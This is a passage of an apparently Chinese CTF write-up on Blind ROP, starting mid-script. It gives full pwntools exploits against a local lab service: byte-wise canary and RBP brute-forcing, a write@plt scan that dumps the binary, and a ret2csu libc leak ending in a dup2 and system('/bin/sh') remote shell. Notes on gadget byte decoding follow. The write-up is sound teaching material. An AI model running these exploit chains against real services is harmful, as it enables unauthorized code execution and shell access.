    log.info(f"\n Stage 2: 开始自动爆破 Saved RBP...")
    # RBP 长度为 8 字节,初始为空
    rbp = b""
    # 爆破 8 个字节
    for i in range(8):
        # 同样每个字节 256 种可能
        for b in range(256):
            # 构造 payload: 垃圾数据 + 正确的Canary(保证不触发栈溢出保护) + 当前已知的 RBP + 正在猜的字节
            payload = b"A" * OFFSET + canary + rbp + bytes([b])
            if check_alive(payload):
                # 猜对了
                rbp += bytes([b])
                print(f" 找到字节: {hex(b)} -> 目前 RBP: {rbp.hex()}")
                break
        else:
            log.failure("RBP 爆破失败!")
            sys.exit(1)
    # 返回完整的 8 字节 RBP
    return rbp


# 阶段3:寻找泄露内存的方法 (寻找 write@plt 的地址)
def find_leak_method(base_payload):
    log.info("\n Stage 3: 开始 BROP 盲扫模式 (利用 RDX=512 长度)...")

    # 猜测 PLT 表的范围。通常 64位无 PIE 的 ELF 文件,代码段在 0x400000 左右,PLT 表一般在 0x400500 附近
    # 每次步进 8 字节 (一个函数项的长度或相关指令对齐)
    plt_range = range(0x400500, 0x400900, 8)

    # 网络服务端程序通常与客户端通信的文件描述符(File Descriptor, fd) 是 4
    # (0,1,2是标准输入输出错误,3通常是监听socket,4通常是第一个连接进来的socket)
    fd = 4

    log.info(f" 正在扫描 FD = {fd} ...")
    # 尝试两种情况:不加 ret 填充 / 加 1个 ret 填充 (用于修复 64 位下调用函数时的栈 16 字节对齐问题)
    for align in [b"", p64(RET_GADGET)]:
        align_name = "开启(加了ret)" if align else "关闭(默认)"

        # 遍历猜测的 PLT 地址
        for plt_addr in plt_range:
            # 构造 ROP 链的开始:基础填充(含正确canary和rbp) + 对齐Gadget + pop rdi; ret + fd(4)
            # 这相当于将 4 赋给 rdi 作为函数的第一个参数
            payload = base_payload + align + p64(POP_RDI_RET) + p64(fd)
            # pop rsi; pop r15; ret + 目标地址(0x400000 ELF头部) + dummy(填r15) + 执行猜测的 plt 函数
            # 这相当于将 0x400000 (程序的起始地址,必定存在且内容固定为 "\x7fELF") 赋给 rsi 作为第二参数
            payload += p64(POP_RSI_R15_RET) + p64(0x400000) + p64(0) + p64(plt_addr)

            # 在最后加上一堆 ret 作为滑板指令/兜底,防止意外奔溃(提高成功率)
            payload += p64(RET_GADGET) * 5

            try:
                # 建立连接
                r = remote(HOST, PORT, timeout=1)
                r.recvuntil(b"Welcome! Send payload:\n", timeout=0.5)
                # 发送构造好的试图调用 write(4, 0x400000, 512) 的 ROP 链
                # 注意:这里假设了寄存器 rdx(第三个参数,长度) 的值已经被之前的代码(如 recv 函数)设置为了 512,这是一个常见的 BROP 技巧
                r.send(payload)

                # 稍微等待一下服务器响应
                sleep(0.1)
                # 尝试接收返回的内容
                res = r.recv(1024, timeout=0.5)
                r.close()

                # 如果收到了内容
                if res:
                    log.info(f"测试 {hex(plt_addr)} 收到数据长度: {len(res)} 字节")

                    # 如果收到的内容长度刚好是 512,说明我们成功调用了 write 函数,并且输出了 0x400000 处的 512 字节!
                    if len(res) == 512:
                        log.success(f"\n 盲扫确认 write@plt: {hex(plt_addr)}")
                        log.info(f"触发条件: 栈对齐={align_name}")
                        log.info(f"每次泄露长度(残留RDX): 512 字节")
                        # 找到了!返回正确的 PLT 地址、是否需要栈对齐、以及每次能泄露的长度
                        return plt_addr, align, 512
            except Exception as e:
                # 发生异常(超时、连接重置等)则忽略,继续测试下一个地址
                pass

    # 如果循环走完都没找到,退出
    log.failure("\n 彻底扫描完毕,未找到。")
    sys.exit(1)


# 阶段4:利用找到的 write@plt 完整脱库 (Dump 内存中的二进制文件)
def dump_memory_write(base_payload, plt_addr, align, leak_size):
    log.info(f"\n Stage 4: 开始文件泄露 (每次泄露 {leak_size} 字节)...")
    result = b""  # 用于存放 Dump 下来的所有数据
    addr = 0x400000  # 从 ELF 文件的起始内存地址开始读取
    target_size = 0x3000  # 设定要读取的目标总大小为 0x3000 (12 KB)

    fd = 4  # 文件描述符依然是 4

    # 循环读取,直到读够目标大小
    while addr < 0x400000 + target_size:
        # 构造 ROP 链:基础填充 + 对齐 + write(4, 当前读取地址addr, [rdx默认512])
        payload = base_payload + align + p64(POP_RDI_RET) + p64(fd)
        payload += p64(POP_RSI_R15_RET) + p64(addr) + p64(0) + p64(plt_addr)

        try:
            r = remote(HOST, PORT, timeout=1)
            r.recvuntil(b"Welcome! Send payload:\n", timeout=0.5)
            r.send(payload)
            # 接收返回的所有数据
            data = r.recvall(timeout=1.0)
            r.close()

            # 因为服务器本身会先发送 "Done!\n" 之类的正常响应,真正的 Dump 数据在最后
            # 所以截取最后 leak_size (512) 个字节作为纯净的内存数据
            clean_data = data[-leak_size:]

            # 如果截取的数据长度不够,说明本次读取失败或到达不可读内存
            if len(clean_data) != leak_size:
                # 用 0 填充缺失的部分,保证后续数据地址偏移不错位
                result += b"\x00" * leak_size
            else:
                # 读取成功,拼接到结果变量中
                result += clean_data
                log.success(
                    f" 成功 Dump: {hex(addr)} -> {hex(addr + leak_size)} (总计 {len(result)}/{target_size} 字节)"
                )

            # 地址增加,准备读取下一块内存
            addr += leak_size
        except:
            # 发生异常也用 \x00 填充,保证文件结构对齐
            result += b"\x00" * leak_size
            addr += leak_size

    # 返回我们需要的精确目标大小的数据 (截断可能多读的部分)
    return result[:target_size]


# 程序的入口点
if __name__ == "__main__":
    # 执行阶段 1:获取 Canary
    canary = get_canary()

    # 执行阶段 2:获取 RBP
    saved_rbp = get_rbp(canary)

    # 构造能够刚好劫持 RIP (返回地址) 前的所有前置基础载荷
    base_payload = b"A" * OFFSET + canary + saved_rbp

    # 执行阶段 3:获取用于泄露内存的 write@plt 地址、对齐条件及每次泄露的长度
    plt_addr, align, leak_size = find_leak_method(base_payload)

    # 执行阶段 4:开始正式将服务端的内存 Dump 下来
    final_bin = dump_memory_write(base_payload, plt_addr, align, leak_size)

    # 将 Dump 下来的字节流数据以二进制写模式 (wb) 保存到本地文件 "dumped_bin" 中
    with open("dumped_bin", "wb") as f:
        f.write(final_bin)

    # 打印收尾成功的提示信息
    log.success(f"\n脱库完成!")
    log.success(f"已经dump出 12KB 二进制数据,文件保存为 'dumped_bin'。")

get_shell脚本

# 导入 pwntools 漏洞利用开发库中的所有模块
from pwn import *

# 导入 sys 模块,主要用于程序在异常时能调用 sys.exit(1) 安全退出
import sys

# 设置全局架构为 amd64 (64位 x86),这决定了 pwntools 如何打包数据 (如 p64) 和反汇编
context.arch = "amd64"
# 设置日志输出级别为 info,只显示重要信息和进度,屏蔽底层 socket 发包细节
context.log_level = "info"

# 定义目标服务器的 IP 地址 (本地回环地址)
HOST = "127.0.0.1"
# 定义目标服务器的监听端口
PORT = 9999
# 加载用于利用的 C 标准库文件, pwntools 会解析它以方便我们查找 system 等函数的偏移量
libc = ELF("./libc.so.6")

# 缓冲区溢出到达 Canary 保护值之前需要填充的垃圾数据长度
OFFSET = 72
# 网络通信所用的文件描述符 (File Descriptor)。
# 0是标准输入,1是标准输出,2是标准错误。由于通过网络利用,4 通常是建立连接后的 socket fd
FD = 4

# ================= Gadget 地址区 =================
# Gadget 是程序中原生存在的、以 ret 结尾的简短汇编指令片段。
# 在 64 位程序中,函数调用的前三个参数依次使用 RDI, RSI, RDX 寄存器传递。

# pop rdi; ret; 用于控制第 1 个参数
pop_rdi = 0x400A83
# pop rsi; pop r15; ret; 用于控制第 2 个参数 (顺便消耗掉 r15 作为占位)
pop_rsi_r15 = 0x400A81
# ret; 空返回指令,通常用于满足 Ubuntu 64位环境调用函数时要求的 16 字节栈对齐
ret_gadget = 0x400A84

# 下面两个是经典的 __libc_csu_init 函数尾部的 Gadget,统称 ret2csu。
# 作用是:因为程序里很难找到 "pop rdx; ret" 这种直接控制第 3 个参数的 gadget,
# 所以利用这两段复杂的代码组合,来实现控制 3 个参数并 call 任意函数的目的。
# csu_gadget1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
csu_gadget1 = 0x400A7A
# csu_gadget2: mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8];
#              ...后面跟着 add rsp,8 和 6 个 pop; ret;
csu_gadget2 = 0x400A60

# write 函数的 GOT 表地址 (存放着 write 函数加载在内存中的真实绝对地址)
write_got = 0x600F90
# 存在缓冲区溢出漏洞的原始函数起始地址,利用完一次后跳回这里,以便发送第二波利用代码
sub_4008b6 = 0x4008B6


# ================= 侧信道探测函数 =================
def check_alive(payload):
    """
    发送 Payload,通过判断程序是否正常打印 "Done!" 来确认程序有没有崩溃。
    以此来判断我们爆破的 Canary/RBP 字节是否正确。
    """
    try:
        # level="error" 防止屏幕打印过多的连接断开信息
        r = remote(HOST, PORT, level="error", timeout=1)
        # 等待服务器发出欢迎语
        r.recvuntil(b"Welcome! Send payload:\n", timeout=1)
        # 发送尝试性的 payload
        r.send(payload)
        # 接收服务器处理结束后的所有回显
        res = r.recvall(timeout=0.5)
        # 断开连接
        r.close()
        # 如果能收到 "Done!\n",说明没触发 Canary 报警,也没发生段错误,测试成功
        return b"Done!\n" in res
    except:
        # 出现异常(连接重置等)说明程序崩溃了,测试失败
        return False


# ================= 盲打泄露数据函数 =================
def auto_releak():
    """
    逐字节爆破当前的 Canary 和 Saved RBP。因为如果这两个值不对,ROP 链根本无法执行。
    """
    log.info("爆破Canary和RBP...\n")

    # 1. 爆破 Canary (8字节)
    # 64位程序 Canary 最低位固定是 \x00 (为了截断字符串函数),所以已知 1 个字节
    canary = b"\x00"
    for _ in range(7):  # 剩下 7 个字节
        for b in range(256):  # 每个字节有 0~255 的可能
            # 构造验证包:填充垃圾 + 当前确定的Canary部分 + 正在猜的1个字节
            if check_alive(b"A" * OFFSET + canary + bytes([b])):
                # 猜对了,加入 canary 变量,跳出内循环猜下一个字节
                canary += bytes([b])
                break
    log.success(f"Canary: 0x{canary.hex()}")

    # 2. 爆破 Saved RBP (保存的上一层栈基址,也是 8 字节)
    rbp = b""
    for _ in range(8):
        for b in range(256):
            # 构造验证包:填充垃圾 + 完整正确的Canary + 当前确定的RBP部分 + 猜的字节
            if check_alive(b"A" * OFFSET + canary + rbp + bytes([b])):
                rbp += bytes([b])
                break
    log.success(f"RBP: 0x{rbp.hex()}\n")

    # 返回完整破解出来的 Canary 和 RBP
    return canary, rbp


# ====== 正式开始漏洞利用 ======
# 第一步:拿到绕过保护的“钥匙”
CANARY, SAVED_RBP = auto_releak()

log.info("\n Stage 1: 发送 ret2csu 劫持流,精准泄露 write@got ...")

# 建立用于利用的主连接
r = remote(HOST, PORT)
# 接收掉提示语,保证接收流干净
r.recvuntil(b"Welcome! Send payload:\n")

# 构建 Payload 1:用于泄露内存中的地址
# 基础填充:到达 RIP(返回地址)控制权之前必须经过的填充物
p1 = b"A" * OFFSET
p1 += CANARY  # 填入正确的 Canary 绕过检查
p1 += SAVED_RBP  # 填入正确的 RBP 恢复栈结构

# 插入一个单纯的 ret 指令用于 16 字节栈对齐
p1 += p64(ret_gadget)

# --- 下面开始构造经典的 ret2csu 调用链 ---
# 目标:调用 write(FD, write_got, 8) 来把真实地址发给我们的客户端
# 此时我们要将这3个参数分别放入 rdi(或者edi), rsi, rdx 寄存器

# 1. 跳转到 csu_gadget1 弹栈
p1 += p64(csu_gadget1)
# 配合 csu_gadget1 里的连续 pop,将后续数据推入对应的寄存器中:
p1 += p64(0)  # 弹入 rbx (设为0,为了后面 call qword ptr [r12+rbx*8] 时直接调 r12)
p1 += p64(1)  # 弹入 rbp (设为1,为了 call 结束后能绕过 cmp rbx, rbp 的跳转验证)
p1 += p64(write_got)  # 弹入 r12 (要调用的函数指针,这里我们让它调用 write 函数)
p1 += p64(8)  # 弹入 r13 (最终会传给 rdx,即第 3 个参数,表示写出 8 字节)
p1 += p64(
    write_got
)  # 弹入 r14 (最终会传给 rsi,即第 2 个参数,表示泄露 write_got 地址处的内容)
p1 += p64(FD)  # 弹入 r15 (最终会传给 edi,即第 1 个参数,文件描述符设为4)

# 2. 跳转到 csu_gadget2 执行寄存器转移和 call 调用
p1 += p64(csu_gadget2)
# call 执行完毕返回后,csu_gadget2 里的代码还会执行 add rsp, 8 以及 6 个 pop 指令
# 为了让 ROP 链不断裂,能够继续往后顺延,必须放 7 个垃圾数据填充 (7 * 8 = 56 字节)
p1 += p64(0)  # 抵消 add rsp, 8 (或者被当作垃圾 pop 掉,视编译器版本而定)
p1 += p64(0)  # pop rbx
p1 += p64(0)  # pop rbp
p1 += p64(0)  # pop r12
p1 += p64(0)  # pop r13
p1 += p64(0)  # pop r14
p1 += p64(0)  # pop r15

# --- ret2csu 链执行完毕 ---

# 为了能让程序不断开,继续进行第二次攻击,我们要让它跳回最开始的漏洞函数
# 但在跳回前,原程序的寄存器状态被破坏了,为防万一,用 pop rdi 把 FD 再放回去
p1 += p64(pop_rdi) + p64(FD)
# 控制程序的执行流跳回漏洞函数的开头位置
p1 += p64(sub_4008b6)

# 发送这串精心构造的 Payload 1
r.send(p1)

# 由于刚才执行了 write(FD, write_got, 8),服务器会往外吐 8 个字节
# 我们接收这 8 字节数据
leak_data = r.recv(8)
if not leak_data:
    log.failure("泄露失败,可能网络中断。")
    sys.exit(1)

# 将接收到的 8 字节二进制流解包还原为一个 64 位的整数 (真实内存地址)
write_real_addr = u64(leak_data.ljust(8, b"\x00"))
log.success(f"成功泄露 write@glibc: {hex(write_real_addr)}")

# 核心计算:Libc 在内存中的随机加载基址 = 泄露的真实地址 - write 在静态库中的相对偏移
libc.address = write_real_addr - libc.symbols["write"]
log.success(f"计算出 Libc 基址: {hex(libc.address)}")

# 有了基址,利用 pwntools 直接算出以下三个关键目标的真实地址
dup2 = libc.symbols["dup2"]  # dup2 函数地址
system = libc.symbols["system"]  # system 函数地址
bin_sh = next(libc.search(b"/bin/sh\x00"))  # 库中包含的 "/bin/sh" 字符串地址

log.success("成功计算出system和/bin/sh的地址" + hex(system) + " & " + hex(bin_sh))
log.info("\n Stage 3: 发送 Payload 2,执行 dup2 重定向并启动 system...")

# 构建 Payload 2:最终的 Getshell
# 同样需要基础的填充来劫持 RIP
p2 = b"A" * OFFSET
p2 += CANARY
p2 += SAVED_RBP

# --- 下面使用 dup2 技术进行重定向 ---
# 原理:system("/bin/sh") 开启的 Shell 默认是在服务端的本地终端输入输出的。
# 我们必须用 dup2(4, 0) 和 dup2(4, 1) 把标准输入(0)和标准输出(1)重定向到我们的网络 socket(4) 上。

# 1. 执行 dup2(FD, 0) => dup2(4, 0)
p2 += p64(pop_rdi) + p64(FD)  # RDI = 4 (第一个参数)
p2 += p64(pop_rsi_r15) + p64(0) + p64(0)  # RSI = 0 (第二个参数), R15 = 0 (垃圾占位)
p2 += p64(dup2)  # 调用 dup2

# 2. 执行 dup2(FD, 1) => dup2(4, 1)
p2 += p64(pop_rdi) + p64(FD)  # RDI = 4
p2 += p64(pop_rsi_r15) + p64(1) + p64(0)  # RSI = 1
p2 += p64(dup2)  # 调用 dup2

# --- 准备执行最终目的:system("/bin/sh") ---
# 给 system 函数传参,RDI 指向 "/bin/sh" 字符串的地址
p2 += p64(pop_rdi) + p64(bin_sh)

# 【重点】调用 system 前必须加一个纯粹的 ret
# 因为在 64 位 Ubuntu 的 glibc 里,system 函数内部执行时包含 movaps 汇编指令,
# 这个指令强制要求当前的栈底指针(rsp)必须是 16 的倍数(16字节对齐),否则会引发段错误导致崩溃。
# 加一个 ret 相当于往栈上虚弹一次(rsp+8),以此刚好满足对齐条件。
p2 += p64(ret_gadget)

# 执行 system
p2 += p64(system)

# 发送第二段 Payload
r.send(p2)

log.success("\n Boom! Shell Is Yours:")
# 切换到交互模式,此时我们的控制台已经与服务器上运行的 /bin/sh 连通了!
r.interactive()

常见问题

极小概率的“假阳性”(False Positive)探讨

请思考一个问题:在第一个脚本中的单字节盲破脱库实现中,有没有可能,我们猜错了一个字节,程序跳到了一个完全错误的地址,但那个地址恰好执行了一段代码,而且那段代码最后也打印了Done!\n

理论上存在这种极微小的可能,但我感觉这在实际操作过程中几乎不可能发生,原因如下:

单字节爆破的局限性:我们每次只改变内存地址的1个字节(比如把0x4007A1变成了0x4007B1),在一个编译好的二进制程序中,地址偏移十几个字节,大概率会落入一条汇编指令的中间(错位指令),导致解析出完全毫无逻辑的非法指令,进而引发CPU异常崩溃

上下文环境的破坏:就算运气很好,程序跳到了另一段合法代码,这段代码如果要打印Done!\n,它需要提前设置好各种寄存器(比如rdi指向字符串地址,调用puts),随便跳过去,寄存器状态全乱,大概率还是引发段错误

总而言之,这里我们用的是一种悲观的验证机制,除非靶机能够在极短的时间内,按照我们预期的剧本,一字不差地返回给我们Done!\n,否则我们都会认为程序没有按照预期执行,从而毫不留情地换下一个字节继续爆破

x86/x64架构汇编指令的“错位解析”(Unaligned Execution)特性

x86_64 CPU的两个重要特性:

1、指令长度是不固定的:有的指令只有1个字节,有的可能有15个字节 2、CPU没有“指令边界”的概念:CPU不管编译器原本是怎么划分指令的,只要把程序计数器(RIP)指向内存中的某个字节,CPU就会从那个字节开始,尝试把后续的字节强行翻译成合法的汇编指令并执行

拆解BROP Gadget的底层字节码

我们费劲千辛万苦扫出来的”BROP Gadget”,其实是存在于多数程序__libc_csu_init函数末尾的一段极其经典的汇编代码,这段代码的作用是恢复寄存器(6个连续的pop 加1个ret)

相对偏移机器码(Hex)原本的汇编指令(编译器视角)
+05bpop rbx
+15dpop rbp
+241 5cpop r12
+441 5dpop r13
+641 5epop r14
+841 5fpop r15
+10c3ret

偏移+9: 看上面的表格,注意最后的两条指令:pop r15ret 它们的完整机器码是:41 5f c3

41:在x64架构中,41是一个REX前缀,它的作用是告诉CPU接下来的操作使用扩展寄存器(r8到r15) 5f:在没有前缀的情况下,5f单独存在的原生含义是pop rdi 结合起来:41 + 5f = 弹出数据到rdi对应的扩展寄存器 = pop r15

现在我们不从+8开始执行,而是强制让程序跳转到BROP_GADGET + 9的位置呢?

1、CPU跳过了41这个前缀,直接看到了字节5f 2、因为没有了41前缀,CPU就按照原生含义解析,把5f翻译成了:pop rdi 3、执行完5f后,CPU继续往下读下一个字节(即偏移+10的位置) 4、下一个字节是c3,CPU将其翻译为:ret

当跳转到brop_gadget + 9时,CPU实际执行的代码序列变成了:

5f   ->  pop rdi
c3   ->  ret

在64位ROP链中,控制rdi就等于控制了函数的第一个参数,这是弹Shell最关键的Gadget。

对于BROP在赛场上出现概率的小见解

因为BROP属于盲注,在攻击过程中可能会开启大量子进程,这会对服务器(靶机)的资源产生比较巨大的消耗,进程的创建会达到10000+,内存占用可能会达到100M+,而且这种高负载很可能会持续数分钟,这对大型比赛来说会产生极大的性能开销以及对题目环境的稳定性造成影响,所以BROP在中小型比赛中应该比较罕见,大概率在大型CTF比赛的决赛或半决赛中出现,为降低平台负载,出题人很可能倾向于提供更多信息泄露渠道,在AWDP和攻防赛中,因为时间限制,BROP出现的概率也较小。